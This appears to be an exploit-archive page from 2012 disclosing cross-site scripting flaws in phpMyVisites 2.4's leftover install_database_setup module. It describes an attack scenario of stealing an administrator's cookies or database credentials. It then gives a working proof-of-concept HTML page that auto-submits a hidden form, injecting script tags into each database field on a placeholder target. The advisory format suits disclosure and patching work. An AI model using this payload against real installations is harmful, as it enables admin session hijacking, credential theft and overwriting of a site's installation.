exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpMyVisites 2.4 Cross Site Scripting

phpMyVisites 2.4 Cross Site Scripting
Posted Mar 9, 2012
Authored by Akastep

phpMyVisites version 2.4 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 213a7f7ab93a2bdf6e34d96925e7f31fa9c25e08e70502e9c597b4a922f108ba

phpMyVisites 2.4 Cross Site Scripting

Change Mirror Download
============================================================
Vulnerable Software:
phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $
More info can be found here: http://www.phpmyvisites.us/
============================================================
============================================================
phpMyVisites 2.4 Is vulnerable to Cross Site Scripting attack.
============================================================
Tested on: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
============================================================
Vuln Desc:
Problem in that: phpMyVisites 2.4 after installation doesn't requires
uninstalling of setup module.(Only administrator can access this module)
(phpmv2/index.php?mod=install_database_setup)
Which is prone to Cross site Scripting vulnerability due insufficent sanitization:

Note: Attack Scenario:
A) Admin logins to system.(needs authentication)
B) And clicks on crafted link (below you can see it -Proof Of Concept exploit)
Successfully attack exploitation may result of stealing currently logged administrator's cookies which using it attacker
can login system as admin and reinstall application (overwrite installation)),
or steal database credentials(because this script fills inputs automatically from config) which is viewable
(only database password is MD5 encrypted in inputbox and can be viewed from source code of page as MD5 encrypted)

Also I noticed it's cookies doesn't expires after succesfully *logging out*.
So stealed cookies can be used as "backdoor" to access system again.

============================================================



=============== PROOF OF CONCEPT EXPLOIT ==================
<html>
<head>
<title>Warning! This is Proof Of Concept Exploit for phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $)</title>
</head>
<h1> Warning! This is a Proof Of Concept Exploit for phpMyVisites 2.4:<br/></h1>
<p>// $Id: version.php 238 2009-12-16 19:48:15Z matthieu_ $
PHPMV_VERSION 2.4
</p>


</h1>
<body onload="javascript:document.forms[0].submit()">

<form action="http://CHANGE_TO_RTARGET/phpmv2/index.php?mod=install_database_setup" method="post" name="form_phpmv" id="form_phpmv">


<input value="<script>alert(document.cookie);</script>" name="form_dblogin" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbpassword" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbhost" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbname" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbprefix" type="hidden"/></td>

<!--- Author: AkaStep -->
</form>
</body>
</html>

===============EOF PROOF OF CONCEPT EXPLOIT ==================

Print screen:

http://s018.radikal.ru/i505/1203/ba/26343fa7963b.png

================================================================


/AkaStep ^_^


1331239741




Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close